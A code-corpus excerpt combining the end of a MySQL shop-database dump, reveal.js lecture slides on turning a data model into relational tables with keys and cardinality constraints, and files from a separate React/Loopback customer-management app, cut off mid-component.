(5, 5),
(6, 6);
-- --------------------------------------------------------
--
-- Table structure for table `users_articles`
--
CREATE TABLE IF NOT EXISTS `users_articles` (
`articles_id` bigint(20) NOT NULL,
`users_id` bigint(20) NOT NULL,
`quantity` int(11) NOT NULL,
PRIMARY KEY (`articles_id`,`users_id`),
KEY `fk_users_articles_users1_idx` (`users_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `users_articles`
--
INSERT INTO `users_articles` (`articles_id`, `users_id`, `quantity`) VALUES
(3, 1, 2),
(3, 5, 1),
(4, 1, 1),
(4, 5, 1),
(7, 1, 2),
(11, 2, 1),
(12, 1, 2),
(15, 1, 2),
(16, 1, 2),
(18, 2, 3),
(20, 1, 1),
(23, 1, 2),
(25, 5, 2),
(27, 2, 3),
(28, 2, 3);
--
-- Constraints for dumped tables
--
--
-- Constraints for table `articles`
--
ALTER TABLE `articles`
ADD CONSTRAINT `fk_articles_brands` FOREIGN KEY (`brands_id`) REFERENCES `brands` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
ADD CONSTRAINT `fk_articles_categories1` FOREIGN KEY (`categories_id`) REFERENCES `categories` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION;
--
-- Constraints for table `articles_suppliers`
--
ALTER TABLE `articles_suppliers`
ADD CONSTRAINT `fk_articles_suppliers_articles1` FOREIGN KEY (`articles_id`) REFERENCES `articles` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
ADD CONSTRAINT `fk_articles_suppliers_suppliers1` FOREIGN KEY (`suppliers_id`) REFERENCES `suppliers` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION;
--
-- Constraints for table `reviews`
--
ALTER TABLE `reviews`
ADD CONSTRAINT `fk_reviews_articles1` FOREIGN KEY (`articles_id`) REFERENCES `articles` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
ADD CONSTRAINT `fk_reviews_users1` FOREIGN KEY (`users_id`) REFERENCES `users` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION;
--
-- Constraints for table `stores`
--
ALTER TABLE `stores`
ADD CONSTRAINT `fk_stores_addresses1` FOREIGN KEY (`addresses_id`) REFERENCES `addresses` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION;
--
-- Constraints for table `stores_articles`
--
ALTER TABLE `stores_articles`
ADD CONSTRAINT `fk_stores_articles_articles1` FOREIGN KEY (`articles_id`) REFERENCES `articles` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
ADD CONSTRAINT `fk_stores_articles_stores1` FOREIGN KEY (`stores_id`) REFERENCES `stores` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION;
--
-- Constraints for table `suppliers`
--
ALTER TABLE `suppliers`
ADD CONSTRAINT `fk_suppliers_addresses1` FOREIGN KEY (`addresses_id`) REFERENCES `addresses` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION;
--
-- Constraints for table `users_addresses`
--
ALTER TABLE `users_addresses`
ADD CONSTRAINT `fk_users_addresses_addresses1` FOREIGN KEY (`addresses_id`) REFERENCES `addresses` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
ADD CONSTRAINT `fk_users_addresses_users1` FOREIGN KEY (`users_id`) REFERENCES `users` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION;
--
-- Constraints for table `users_articles`
--
ALTER TABLE `users_articles`
ADD CONSTRAINT `fk_users_articles_articles1` FOREIGN KEY (`articles_id`) REFERENCES `articles` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
ADD CONSTRAINT `fk_users_articles_users1` FOREIGN KEY (`users_id`) REFERENCES `users` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>/Chapter_04_FromModelToDatabase.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Databases - From data model to database</title>
<meta name="description" content="A framework for easily creating beautiful presentations using HTML">
<meta name="author" content="<NAME>">
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<link rel="stylesheet" href="css/reveal.min.css">
<link rel="stylesheet" href="css/theme/moderno.css" id="theme">
<!-- For syntax highlighting -->
<link rel="stylesheet" href="lib/css/zenburn.css">
<!-- If the query includes 'print-pdf', use the PDF print sheet -->
<script>
document.write( '<link rel="stylesheet" href="css/print/' + ( window.location.search.match( /print-pdf/gi ) ? 'pdf' : 'paper' ) + '.css" type="text/css" media="print">' );
</script>
<!--[if lt IE 9]>
<script src="lib/js/html5shiv.js"></script>
<![endif]-->
<link rel="stylesheet" href="css/custom.kulab.nico.css">
</head>
<body>
<div class="reveal">
<img id="logo" src="assets/Logo_labICT.png" alt="Logo labICT">
<!-- Any section element inside of this container is displayed as a slide -->
<div class="slides">
<section>
<section>
<h1>Databases</h1>
<h3>From data model to database</h3>
<p><a href="http://labict.be">labict.be</a></p>
</section>
</section>
<section>
<section>
<h2>Steps to take</h2>
<!-- <img src="assets/C01/DataAndMeaning.png" alt="Data and the meaning of it"> -->
</section>
<section>
<h3>Steps to take</h3>
<div>
<img src="assets/C04/StepsToTake.jpg" alt="Different steps to take" width="700">
</div>
</section>
</section>
<section>
<section>
<h2>Step 1 - Creating a relation for each entity</h2>
<!-- <img src="assets/C01/DataAndMeaning.png" alt="Data and the meaning of it"> -->
</section>
<section>
<h3>Step a - Create table for each entity</h3>
<div class="alignleft">
<ul>
<li>Use the same name of the entity for the table.</li>
<li>Pick the primary key (identity of entity)
<ul>
<li>Designated using a key symbol.</li>
<li>The ideal primary key is short, numeric, and fixed.</li>
<li>Surrogate keys meet the ideal, but have no meaning to users.</li>
</ul>
</li>
</ul>
</div>
<div>
<img src="assets/C04/Step1_Employee_CreateRelation.jpg" alt="From Employee entity to Employee relation" height="250">
</div>
</section>
<section>
<h3>Step b - Specify Candidate Keys</h3>
<div class="alignleft">
<ul>
<li>The terms candidate key and alternate key are synonymous.</li>
<li>Candidate keys are unique determinants of a relation.</li>
<li>Some use AKn.m notation, where n is the number of the alternate key, and m is the column number in that alternate key.</li>
</ul>
</div>
<div>
<img src="assets/C04/Step1_Employee_SpecifyCandidateKeys.png" alt="From Employee entity to Employee relation" height="250">
</div>
</section>
<section>
<h3>Step c - Specify Column Properties: Null Status</h3>
<div class="alignleft">
<ul>
<li><strong>Null status</strong> indicates whether or not the value of the column can be NULL.</li>
<li>An alternate key can have a null status of NULL.</li>
<li>If a value is however specified, then it must be unique !</li>
</ul>
</div>
<div>
<img src="assets/C04/Step1_Employee_NullStatus.jpg" alt="From Employee entity to Employee relation" height="250">
</div>
</section>
<section>
<h3>Step c - Specify Column Properties: Data Types</h3>
<div class="alignleft">
<ul>
<li>Generic data types:
<ul>
<li>CHAR(n) and VARCHAR(n)</li>
<li>DATE, TIME and DATETIME </li>
<li>MONEY</li>
<li>INTEGER</li>
<li>DECIMAL</li>
</ul>
</li>
</ul>
</div>
<div>
<img src="assets/C04/Step1_Employee_DataTypes.jpg" alt="From Employee entity to Employee relation" height="250">
</div>
</section>
<section>
<h3>Reference - Sql Server 2008 Data Types</h3>
<div>
<img src="assets/C04/Reference_SqlServer2008_DataTypes.png" alt="Sql Server 2008 Data Types" width="700">
</div>
</section>
<section>
<h3>Reference - MySQL 5.1 Data Types</h3>
<div>
<img src="assets/C04/Reference_MySQL51_DataTypes_1.png" alt="MySQL 5.1 Data Types" width="700">
</div>
</section>
<section>
<h3>Reference - MySQL 5.1 Data Types</h3>
<div>
<img src="assets/C04/Reference_MySQL51_DataTypes_2.png" alt="MySQL 5.1 Data Types" width="700">
</div>
</section>
<section>
<h3>Reference - MySQL 5.1 Data Types</h3>
<div>
<img src="assets/C04/Reference_MySQL51_DataTypes_3.png" alt="MySQL 5.1 Data Types" width="700">
</div>
</section>
<section>
<h3>Step d - Specify Column Properties: Default Value</h3>
<div class="alignleft">
<ul>
<li>A default value is the value supplied by the DBMS when a new row is created and the attribute is not specified by the user.</li>
<li>The <strong>most common</strong> default value is <strong>NULL</strong>.</li>
<li>Other common default values are
<ul>
<li>A specified string (ex. "New Employee")</li>
<li>The current date or time</li>
<li>The result of triggers
<ul>
<li>Default value is determined by some logic or is calculated based on other values.</li>
<li>We see database triggers later.</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step d - Specify Column Properties: Default Value</h3>
<div class="alignleft">
<ul>
<li>Default values can be documented as followed.</li>
</ul>
</div>
<div>
<img src="assets/C04/Step1_Employee_DefaultValues.jpg" alt="From Employee entity to Employee relation" width="700">
</div>
</section>
<section>
<h3>Step d - Specify Column Properties: Data Constraints</h3>
<div class="alignleft">
<ul>
<li>Data constraints are limitations on data values:
<ul>
<li><strong>Domain constraint</strong>: column values must be in a given set of specific values.
<ul>
<li>Examples:
<ul>
<li>Gender: Male or Female</li>
<li>Employee contract: part-time, full time, ...</li>
</ul>
</li>
</ul>
</li>
<li><strong>Range constraint</strong>: column values must be within a given range of values.
<ul>
<li>Examples:
<ul>
<li>Birthdate: between 1920 and NOW()</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step d - Specify Column Properties: Data Constraints</h3>
<div class="alignleft">
<ul>
<li>Data constraints are limitations on data values:
<ul>
<li><strong>Intrarelation constraint</strong>: column values are limited by comparison to values in other columns in the same table.
<ul>
<li>Examples:
<ul>
<li>Date of contract renewal > date of current contract</li>
</ul>
</li>
</ul>
</li>
<li><strong>Interrelation constraint</strong>: column values are limited by comparison to values in other columns in other tables.
<ul>
<li>Examples:
<ul>
<li>Referential integrity constraints on foreign keys.</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step d - Specify Column Properties: Verify normalization</h3>
<div class="alignleft">
<ul>
<li>The tables should be normalized based on the data model.</li>
<li>Verify that all tables are:
<ul>
<li>BCNF</li>
<li>4NF</li>
</ul>
</li>
<li>We see this later</li>
</ul>
</div>
</section>
</section>
<section>
<section>
<h2>Step 2 – Creating associations (relationships)</h2>
<!-- <img src="assets/C01/DataAndMeaning.png" alt="Data and the meaning of it"> -->
</section>
<section>
<h3>Step 2 – Creating associations (relationships)</h3>
<div class="alignleft">
<ul>
<li>Associations between entities are realized by adding foreign keys (which point to the primary key of the other table in the relationship).</li>
<li>Start with associations between <strong>strong</strong> entities.</li>
<li>Weak entities are entities which cannot exist on their own.
<ul>
<li>Weak entities are entities which cannot exist on their own.</li>
</ul>
</li>
</ul>
</div>
<!-- A book belongs to an owner, and an owner can own multiple books. But the book can exist also without the owner and it can change the owner. The relationship between a book and an owner is a non identifying relationship. -->
<!-- A book however is written by an author, and the author could have written multiple books. But the book needs to be written by an author it cannot exist without an author. Therefore the relationship between the book and the author is an identifying relationship.
-->
</section>
<section>
<h3>Step a – Strong Entity Associations - 1:1</h3>
<div class="alignleft">
<ul>
<li>Place the key of one entity in the other entity as a foreign key.
<ul>
<li>Either design will work</li>
</ul>
</li>
<li>Minimum cardinality considerations may be important.
<ul>
<li>O-M will require a different design than M-O.</li>
<li>One design will be very preferable.</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - 1:1</h3>
<div>
<img src="assets/C04/Step2_Locker_Strong_OneToOne.jpg" alt="One to One association" height="350">
</div>
<div class="alignleft">
<ul>
<li>Enforcement of maximum cardinality:
<ul>
<li><strong>Foreign key</strong> is indicated as <strong>candidate</strong> key to force uniqueness</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - 1:1</h3>
<div>
<img src="assets/C04/Step2_Locker_Strong_OneToOne.jpg" alt="One to One association" height="300">
</div>
<div class="alignleft">
<ul>
<li>There is no preferred implementation (unless logically selected based on business logic).
<ul>
<li>There would have been a preferred implementation however in the case of a M-O or O-M association (see book page 211 – Opmerking).</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - 1:N</h3>
<div class="alignleft">
<ul>
<li>Place the primary key of the table on the one side of the relationship into the table on the many side of the relationship as the foreign key.</li>
<li>The one side is the <strong>parent</strong> table and the many side is the <strong>child</strong> table, so "place the key of the parent in the child."</li>
</ul>
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - 1:N</h3>
<div>
<img src="assets/C04/Step2_Company_1ToN.png" alt="One to N association" height="350">
</div>
<div class="alignleft">
<ul>
<li>Who else thinks there is something wrong with this example?</li>
</ul>
</div>
<!-- Why bad example? I would think that department is a weak entity and cannot exist without a company. -->
</section>
<section>
<h3>Step a – Strong Entity Associations - N:M</h3>
<div class="alignleft">
<ul>
<li>In an N:M strong entity relationship there is <strong>no place</strong> for the <strong>foreign key</strong> in either table.
<ul>
<li>A COMPANY may supply many PARTs.</li>
<li>A PART may be supplied by many COMPANYs.</li>
</ul>
</li>
</ul>
</div>
<div>
<img src="assets/C04/Step2_Company_NToM.png" alt="Many to Many association" height="200">
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - N:M</h3>
<div class="alignleft">
<ul>
<li>The solution is to create an intersection relation or association relation that stores data about the corresponding rows from each entity.
<ul>
<li>An intersection relation consists only of the primary keys of each relation which form a composite primary key.</li>
<li>An association relation consists of the primary keys of each relation which form a composite primary key with extra attributes.</li>
</ul>
</li>
<li>Each relation's primary key becomes a foreign key linking back to that relation.</li>
</ul>
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - N:M</h3>
<div>
<img src="assets/C04/Step2_Company_NToM.png" alt="Many to Many association" height="150">
</div>
<div>
<img src="assets/C04/Step2_Company_NToM_Intersection.png" alt="Many to Many association" height="350">
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - N:M</h3>
<div>
<img src="assets/C04/Step2_Company_NToM_Intersection.png" alt="Many to Many association" height="350">
</div>
<div class="alignleft">
<ul>
<li>Notice the cardinalities
<ul>
<li>Weak and ID-dependant => <strong>mandatory</strong></li>
<li>Keep original cardinalities on side of intersection / association relation</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - N:M</h3>
<div>
<img src="assets/C04/Step2_Characters_NToM.png" alt="Many to Many association" width="700">
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - N:M</h3>
<div>
<img src="assets/C04/Step2_Characters_NToM_Association.png" alt="Many to Many association" width="700">
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - N:M</h3>
<div class="alignleft">
<ul>
<li>Higher order relationships can be implemented using binary relationships combined with intersection/association relations.
<ul>
<li>Associations between multiple entities are possible.</li>
<li>Each entity is associated with the association relation using a binary association.</li>
</ul>
</li>
</ul>
</div>
<div>
<img src="assets/C04/Step2_Projects_NToM.png" alt="Ternary association" height="200">
</div>
</section>
<section>
<h3>Step a – Strong Entity Associations - N:M</h3>
<div>
<img src="assets/C04/Step2_Projects_NToM_Association.png" alt="Ternary association" height="400">
</div>
</section>
<section>
<h3>Overview of intersection and association relations</h3>
<div class="alignleft">
<ul>
<li>An <strong>intersection</strong> relation
<ul>
<li>Holds the relationships between two strong entities in an N:M relationship</li>
<li>Contains only the primary keys of the two entities
<ul>
<li>As a composite primary key</li>
<li>As foreign keys</li>
</ul>
</li>
</ul>
</li>
<li>An <strong>association</strong> relation
<ul>
<li>Has all the characteristics of an intersection relation</li>
<li>PLUS it has one or more columns of attributes specific to the associations of the other two entities</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step b – Relationships with ID-Dependent Entities</h3>
<div class="alignleft">
<ul>
<li>Three typical uses for ID-Dependent Entities:
<ul>
<li>Representing N:M Relationships
<ul>
<li>We just discussed this</li>
</ul>
</li>
<li>The Multivalued Attribute Pattern</li>
<li>Archetype/Instance Pattern</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step b – The Multivalued Attribute Pattern</h3>
<div class="alignleft">
<ul>
<li>Many entities have attributes that are <strong>multivalued</strong>.</li>
<li>One example is a contact person for a company. One company can have multiple contacts. Creating a new row in the company entity for each contact would create a multivalued dependency.
<ul>
<li>The solution to this is store the contacts in a separate relation.</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step b – The Multivalued Attribute Pattern</h3>
<div>
<img src="assets/C04/Step2_Contact_MultivaluedAttributePattern.png" alt="The Multivalued Attribute Pattern" height="400">
</div>
</section>
<section>
<h3>Step b – The Archetype/Instance Pattern</h3>
<div class="alignleft">
<ul>
<li>Many entities have attributes that are <strong>multivalued</strong>.</li>
<li>One example is a contact person for a company. One company can have multiple contacts. Creating a new row in the company entity for each contact would create a multivalued dependency.
<ul>
<li>The solution to this is store the contacts in a separate relation.</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step b – The Archetype/Instance Pattern</h3>
<div class="alignleft">
<ul>
<li>Used when you have a number of objects (instances) that are bound to some blueprint like model (archetype).</li>
</ul>
</div>
<div>
<img src="assets/C04/Step2_ArchetypeInstancePattern.png" alt="The Archetype/Instance Pattern" height="400">
</div>
</section>
<section>
<h3>Step b – The Archetype/Instance Pattern</h3>
<div>
<img src="assets/C04/Step2_Class_Archetype_IdDependent.png" alt="The Archetype/Instance Pattern" height="400">
</div>
</section>
<section>
<h3>Step b – The Archetype/Instance Pattern</h3>
<div>
<img src="assets/C04/Step2_Class_Archetype_NonIdDependent.png" alt="The Archetype/Instance Pattern" height="400">
</div>
</section>
<section>
<h3>Step c – Subtype Relationships</h3>
<div class="alignleft">
<ul>
<li>Primary keys of the subtypes are the same as of the super type.</li>
</ul>
</div>
<div>
<img src="assets/C04/Step2_Subtype.png" alt="Subtypes" height="300">
</div>
</section>
</section>
<section>
<section>
<h2>Step 3 - Specifying the logic for enforcing the minimum cardinality</h2>
<!-- <img src="assets/C01/DataAndMeaning.png" alt="Data and the meaning of it"> -->
</section>
<section>
<h3>Minimum Cardinality</h3>
<div class="alignleft">
<ul>
<li>Relationships can have the following types of minimum cardinality:
<ul>
<li>O-O: parent optional and child optional</li>
<li>M-O: parent mandatory and child optional</li>
<li>O-M: parent optional and child mandatory</li>
<li>M-M: parent mandatory and child mandatory</li>
</ul>
</li>
<li>We will use the term <strong>action</strong> to mean a minimum cardinality enforcement action.</li>
<li>No action needs to be taken for O-O relationships.</li>
</ul>
</div>
</section>
<section>
<h3>Cascading Updates and Deletes</h3>
<div class="alignleft">
<ul>
<li>A <strong>cascading update</strong> occurs when a change to the parent’s primary key is applied to the child’s foreign key.
<ul>
<li>Surrogate keys never change and there is no need for cascading updates when using them.</li>
</ul>
</li>
<li>A <strong>cascading delete</strong> occurs when associated child rows are deleted along with the deletion of a parent row.
<ul>
<li><strong>Strong</strong> entities generally do not cascade deletes.</li>
<li><strong>Weak</strong> entities generally do cascade deletes.</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step a – Parent Is Required (M-O)</h3>
<div class="alignleft">
<ul>
<li>A publisher may have published a book.</li>
<li>A publisher can publish many books.</li>
<li>A book must be published by a publisher.</li>
<li>A book can only be published by one publisher.</li>
</ul>
</div>
<div>
<img src="assets/C04/Step3_Books_MO.jpg" alt="M-O associations" width="700">
</div>
<div class="alignleft">
<ul>
<li>Publisher is the parent while books are the children.</li>
</ul>
</div>
</section>
<section>
<h3>Step a – Parent Is Required (M-O)</h3>
<div>
<img src="assets/C04/Step3_Books_MO.jpg" alt="M-O associations" width="700">
</div>
<div>
<img src="assets/C04/Step3_Books_MO_Actions.png" alt="M-O association actions" width="700">
</div>
</section>
<section>
<h3>Step a – Parent Is Required (M-O)</h3>
<div class="alignleft">
<ul>
<li><strong>Implementing</strong> actions for M-O associations
<ul>
<li>Make sure that:
<ul>
<li>Every child has a parent.</li>
<li>Operations never create orphans.</li>
</ul>
</li>
<li>The DBMS will enforce the action as long as:
<ul>
<li>Referential integrity constraints are properly defined.</li>
<li>The foreign key column has a null status of 'NOT NULL'.</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step a – Parent Is Required (M-O)</h3>
<div class="alignleft">
<ul>
<li>When the child entity is a strong entity cascaded deletion is mostly forbidden.
<ul>
<li>Children have to be assigned another parent before the parent can be deleted.</li>
</ul>
</li>
<li>In case of weak child entities cascaded deletion is a good option.
<ul>
<li>When the parent is deleted most of the time the weak child information is useless anyway.</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step b – Child Is Required (O-M)</h3>
<div class="alignleft">
<ul>
<li>A woman must have a pair of shoes.</li>
<li>A woman may have many shoes.</li>
<li>A pair of shoes may be owned by a woman.</li>
<li>A pair of shoes can by owned by one woman.</li>
</ul>
</div>
<div>
<img src="assets/C04/Step3_Women_OM.jpg" alt="O-M associations" width="700">
</div>
<div class="alignleft">
<ul>
<li>The parent is the woman, the shoes are the children.</li>
</ul>
</div>
</section>
<section>
<h3>Step b – Child Is Required (O-M)</h3>
<div>
<img src="assets/C04/Step3_Women_OM.jpg" alt="O-M associations" width="600">
</div>
<div>
<img src="assets/C04/Step3_Women_OM_Actions.png" alt="O-M association actions" width="600">
</div>
<div class="alignleft">
<ul>
<li>The parent is the woman, the shoes are the children.</li>
<li>A lot harder to enforce! Need for <strong>triggers</strong></li>
</ul>
</div>
</section>
<section>
<h3>Step b – Child Is Required (O-M)</h3>
<div class="alignleft">
<ul>
<li><strong>Implementing</strong> actions for O-M associations
<ul>
<li>The DBMS does not provide much help.</li>
<li>Triggers or other application codes will need to be written.
<ul>
<li>A trigger is a stored program that is executed by the DBMS whenever a specified event occurs on a specified table or view.</li>
<li>A trigger is defined based on a table action:
<ul>
<li>on delete</li>
<li>on insert</li>
<li>on update</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step c – Parent & Child are Required (M-M)</h3>
<div class="alignleft">
<ul>
<li>A database which holds legendary highscores of players.
<ul>
<li>A player must have a highscore.</li>
<li>A player may have many highscores.</li>
<li>A highscore is owned by a single player.</li>
</ul>
</li>
</ul>
</div>
<div>
<img src="assets/C04/Step3_Highscores_MM.jpg" alt="M-M associations" width="700">
</div>
<div class="alignleft">
<ul>
<li>Player is the parent, highscores are the children.</li>
</ul>
</div>
</section>
<section>
<h3>Step c – Parent & Child are Required (M-M)</h3>
<div>
<img src="assets/C04/Step3_Highscores_MM.jpg" alt="M-M associations" width="700">
</div>
<div class="alignleft">
<ul>
<li>This is extremely hard to enforce and can only be enforces by specialized triggers.
<ul>
<li>Because of dependencies triggers can deadlock each other.</li>
<li>If possible we place this logic in higher application layers.</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step c – Parent & Child are Required (M-M)</h3>
<div class="alignleft">
<ul>
<li><strong>Implementing</strong> actions for M-M associations
<ul>
<li>The worst of all possible worlds
<ul>
<li>Especially in strong entity relationships.</li>
<li>All actions must be applied simultaneously.</li>
<li>Complicated and careful application programming will be needed.</li>
</ul>
</li>
<li>In relationships between strong and weak entities the problem is often easier when all transactions are initiated from the strong entity side.</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step c – Parent & Child are Required (M-M)</h3>
<div class="alignleft">
<ul>
<li><strong>Implementing</strong> actions for M-M (with weak children)
<ul>
<li>In relationships between strong and weak entities it is often possible to ignore the action on the children.</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Step c – Parent & Child are Required (M-M)</h3>
<div class="alignleft">
<ul>
<li><strong>Implementing</strong> actions for M-M (with weak children)
<ul>
<li>In relationships between strong and weak entities it is often possible to ignore the action on the children.</li>
</ul>
</li>
</ul>
</div>
<div>
<img src="assets/C04/Step3_MM_WeakChildren_ParentReq.png" alt="M-M associations" height="200">
</div>
<div>
<img src="assets/C04/Step3_MM_WeakChildren_ChildReq.png" alt="M-M associations" height="200">
</div>
</section>
<section>
<h3>Step c – Parent & Child are Required (M-M)</h3>
<div class="alignleft">
<ul>
<img src="assets/C04/Step3_Companies_MM.png" style="float: right" alt="M-M associations" height="400">
<li><strong>Implementing</strong> actions for M-M (with weak children)
<ul>
<li>This is because a phone contact will mostly be added, removed or updated from the company context.
<ul>
<li>This will for example be managed by a frontend web application.</li>
</ul>
</li>
<li>Actions on parents will be required.
<ul>
<li>When adding a company we can first create a phone contact with null values.</li>
<li>Deletion actions are mostly cascaded.</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</section>
<section>
<h3>Enforcing Minimum Cardinality</h3>
<div>
<img src="assets/C04/Step3_ActionsOverview.png" alt="Overview of actions" width="700">
</div>
</section>
<section>
<h3>Remember this ?</h3>
<div class="alignleft">
<ul>
<li>1:1 Strong Entity Relationships</li>
</ul>
</div>
<div>
<img src="assets/C04/PreferedImplementation_Optional.jpg" alt="1:1 Strong Entity Relationships" width="500">
</div>
<div class="alignleft">
<ul>
<li>Preferable implementation?</li>
</ul>
</div>
</section>
<section>
<h3>Remember this ?</h3>
<div class="alignleft">
<ul>
<li>1:1 Strong Entity Relationships</li>
</ul>
</div>
<div>
<img src="assets/C04/PreferedImplementation_Mandatory.png" alt="1:1 Strong Entity Relationships" width="500">
</div>
<div class="alignleft">
<ul>
<li>And what about now ?</li>
</ul>
</div>
<!-- Implementation (b) is preferred. -->
<!-- Locker is considered the parent here (child is the one with the foreign key). So this is an M-O association -->
</section>
</section>
<section>
<section>
<h2>Useful sites and info</h2>
<!-- <img src="assets/C01/DataAndMeaning.png" alt="Data and the meaning of it"> -->
</section>
<section>
<h3>Tips</h3>
<div class="alignleft">
<ul>
<li>Child references the parent!</li>
<li>First of all, the parent is table which is referenced by FK from child. So you can't say that your parent table references the child: it's not correct.</li>
<li>Secondly, 1:1 relations can be made through:
<ul>
<li>Primary Keys in both tables
<ul>
<li>Subtypes</li>
</ul>
</li>
<li>Primary Key in parent and Unique Foreign Key in child</li>
</ul>
</li>
</ul>
</div>
</section>
</section>
</div>
</div>
<script src="lib/js/head.min.js"></script>
<script src="js/reveal.min.js"></script>
<script>
// Full list of configuration options available here:
// https://github.com/hakimel/reveal.js#configuration
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: true,
slideNumber: true,
theme: Reveal.getQueryHash().theme, // available themes are in /css/theme
transition: Reveal.getQueryHash().transition || 'default', // default/cube/page/concave/zoom/linear/fade/none
// Parallax scrolling
// parallaxBackgroundImage: 'https://s3.amazonaws.com/hakim-static/reveal-js/reveal-parallax-1.jpg',
// parallaxBackgroundSize: '2100px 900px',
// Optional libraries used to extend on reveal.js
dependencies: [
{ src: 'lib/js/classList.js', condition: function() { return !document.body.classList; } },
{ src: 'plugin/markdown/marked.js', condition: function() { return !!document.querySelector( '[data-markdown]' ); } },
{ src: 'plugin/markdown/markdown.js', condition: function() { return !!document.querySelector( '[data-markdown]' ); } },
{ src: 'plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } },
{ src: 'plugin/zoom-js/zoom.js', async: true, condition: function() { return !!document.body.classList; } },
{ src: 'plugin/notes/notes.js', async: true, condition: function() { return !!document.body.classList; } }
]
});
</script>
</body>
</html>
| 0b0ef47cdaf3f7764513fc774500c93469081c44 | [
"SQL",
"HTML"
] | 3 | HTML | BioBoost/databases | 7fcd132d991ea113e190eb40dde0942e9f46d639 | af0b31bf90f98bf83619c7f8389083930740d8bb |
refs/heads/master | <repo_name>kakadiadarpan/customer-management<file_sep>/client/public/src/routes.js
/*import react libs*/
import React from 'react';
import { Route, IndexRoute } from 'react-router';
/*import all the pages for routes*/
import HomePage from './pages/HomePage';
import AppRootPage from './pages/AppRootPage';
import AddCustomer from './pages/AddCustomerPage.js';
import ViewDetails from './pages/ViewDetailsPage.js';
export default (
<Route path="/" component={AppRootPage}>
<IndexRoute component={HomePage} />
<Route path="/home" component={HomePage}/>
<Route path="/add" component={AddCustomer}/>
<Route path="/view/:customer_id" component={ViewDetails}/>
</Route>
);
<file_sep>/client/public/src/pages/ViewDetailsPage.js
import React, { Component } from 'react';
import Navigation from '../components/navigation.js';
import Details from '../containers/DetailsContainer.js';
class ViewDetailsPage extends Component {
render() {
return (
<div>
<Navigation/>
<Details>
{this.props.params}
</Details>
</div>
);
}
}
export default ViewDetailsPage;
<file_sep>/README.md
## Customer Management
Tech stack: - Front end has been developed in React/Redux and Back end has been developed in Loopback. Database used is MongoDB.
## Deployment steps:
1. Run "npm install" in client and server folders. This will install all the node module dependencies required for this project.
2. To start the loopback backend run "npm start" in server's root directory. This will start the back end server on port 3001.
3. To start the front end run "npm run dev" in client's root directory. This will start the front end server 0n 3002.
<file_sep>/client/public/src/components/homepage.js
import React, { Component, PropTypes } from 'react';
import { Link } from 'react-router';
let customersData = [];
let statusMessage = { text : '' };
class HomePage extends Component{
constructor(props) {
super(props);
}
componentDidMount(){
this.props.getCustomers();
}
componentWillReceiveProps(nextProps) {
if(nextProps.user.status === 'success') {
customersData = nextProps.user.data.response.data;
} else if (nextProps.user.status === 'failure') { //Network connectivity issue
statusMessage.text='Please try again after sometime!';
}
}
render() {
let cData = <div style = {{ color: 'red' }}>No Customers Data Found</div>;
if( customersData.length ){
cData = <table className = "table">
<thead>
<tr>
<th>Customer Id</th>
<th>Email</th>
<th>Referral Id</th>
<th>Referral Count</th>
<th>Payback</th>
</tr>
</thead>
<tbody>
{ customersData.map( (customer, index) => {
return(
<tr key = { index }>
<td><Link to={{ pathname: '/view/'+customer.customer_id}}>{customer.customer_id}</Link></td>
<td>{customer.email}</td>
<td>{customer.referral_id || '--'}</td>
<td>{customer.referral_count}</td>
